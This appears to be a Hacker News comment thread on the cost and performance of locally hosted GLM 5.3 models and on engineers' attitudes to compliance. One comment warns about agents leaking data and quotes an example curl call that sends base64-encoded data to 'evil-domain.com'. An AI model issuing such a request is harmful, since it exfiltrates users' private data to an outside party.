| ▲ | lumost 5 hours ago |
| It’s useful in controlled environments where getting a commodity api approved will take years. Eg I can put 2x of these workstations in an office handling banking/medical/secret/sensitive data and have my engineers stop complaining. |
|
| ▲ | kgeist 2 hours ago | parent | next [-] |
| People say GLM 5.3 is not much smarter than GLM 5.3 Flash (just +4 points on Artificial Analysis), and GLM 5.3 Flash fits on 4x RTX 6000 Pro for 4 times less money, with the same 600 tok/sec aggregate decode speed on vLLM (6 mln tokens KV cache). And I tell you, 600 tok/sec is not much for an organization, it's barely usable for 8 people. That's why we plan to buy more RTX 6000 Pros. And this setup requires $400,000 to run GLM 5.3 for 16 people, it's absolutely uneconomical. |
| |
| ▲ | Implicated 19 minutes ago | parent | next [-] | | 5.3 is certainly “better” than its flash variant, in my experience. I’ve moved on from both but eagerly await the next generation of each. Better, in this context, is more capable with open ended work, planning, longer horizon “reasoning”. Flash is an absolute chad with a well defined task and accompanying guidance/guardrails/conventions provided. But not even close when it needs to deviate, runs into a “blocker” and has to reason its way out. | |
| ▲ | meatmanek 2 hours ago | parent | prev | next [-] | | Personally I find GLM-5.3 to be smart enough to be my daily driver, writing code, doing investigations, etc., including multi-codebase changes and finding the relevant documentation/supporting code for itself so I don't have to explain everything. It's fast (depending on your inference provider), cheap, and smart enough. I find the full-size 5.3 is smart enough to avoid all the small-model problems, while GLM-5.3-Flash definitely starts showing its limits any time the task at hand is poorly defined. 5.3-Flash can often manage even complicated tasks, but the error rate (in terms of bad decisions, misunderstandings, etc) starts creeping up and the time wasted (or the risk thereof) gets high enough that it's worth just paying for the bigger model. I do wish the bigger model could use vision though- that's currently limited to the flash model (presumably because it came out later, when they had figured out their vision training pipeline. Hopefully later releases will include it.) | | |
| ▲ | kgeist 2 hours ago | parent [-] | | Dunno, maybe I'm good at prompting it, but I haven't had many issues with GLM-5.3 Flash. After switching from the Claude models, I barely noticed any difference for most tasks. In fact, I have to recheck the settings from time to time to make sure I'm not running anything Anthropic when I see it working with sensitive data :) The only annoying issue for me is that GLM-5.3 Flash is often eager to go into action and start modifying code when I've just asked a question and it misunderstood it as a call to action. |
| |
| ▲ | John23832 37 minutes ago | parent | prev [-] | | You’re not going to get the same token throughout with the pro 6000 over pcie. You’re paying for speed and bandwidth. | | |
| ▲ | kgeist 26 minutes ago | parent [-] | | The setup in the article reports 600 tok/sec aggregate decode for GLM 5.3. I get the same throughput on 4x RTX 6000 Pro's connected vi PCIe for GLM 5.3 Flash, which is just 4 points below GLM 5.3 on Artificial Analysis. I'm just saying the setup in the article looks overpriced for what it can actually do |
|
|
|
| ▲ | maxloh 38 minutes ago | parent | prev | next [-] |
| It is also unsafe unless you run the agents in a sandbox without network access. All it takes to leak data is a curl request to https://evil-domain.com/?payload=base64-encoded-data, and any model could be trained or fine-tuned to execute this on any task. It becomes even more dangerous if you run unofficial quantized weights of the original model, such as the Unsloth ones. Doing so means there are now two separate parties you need to trust, on top of the Chinese corporation behind the original model. |
|
| ▲ | 3 hours ago | parent | prev | next [-] |
| [deleted] |
|
| ▲ | Grimburger 5 hours ago | parent | prev [-] |
| Since when do software engineers complain about maintaining privacy, security or compliance? I have very much the opposite experience, they trash the place like toddlers then complain relentlessly when our auditors or anyone else points it out. |
| |
| ▲ | cududa 4 hours ago | parent | next [-] | | That says more about the companies and fields you chose to work in than software engineers as a whole | |
| ▲ | wrmanis 4 hours ago | parent | prev | next [-] | | Or perhaps they are referring to more kinds of engineers. Security engineers, IT engineers, ops engineers, and so on. They are more likely to have the kinds of requirements that he's referring to. | | | |
| ▲ | arjie 5 hours ago | parent | prev | next [-] | | Presumably some organizations are able to contain the rapacious software engineer. In those organizations, the software engineer is better able to offer this. As it happens, though, almost all of those would rather use ZDR Claude over this kind of thing just because of the BCDR issues etc. | |
| ▲ | nijave 4 hours ago | parent | prev | next [-] | | Presumably they don't and op does. I think the engineers are complaining they want LLMs and op is stuck handing data over to a 3rd party or denying them access. This would be the compromise (self hosted LLM) | |
| ▲ | jacquesm 2 hours ago | parent | prev | next [-] | | Because the companies they work for take their NDA's, compliance and other requirements as must haves rather than optional. | |
| ▲ | kentm 2 hours ago | parent | prev | next [-] | | My team does. It’s an important constraint. Do your software developers routinely ignore critical requirements? | |
| ▲ | 4 hours ago | parent | prev [-] | | [deleted] |
|
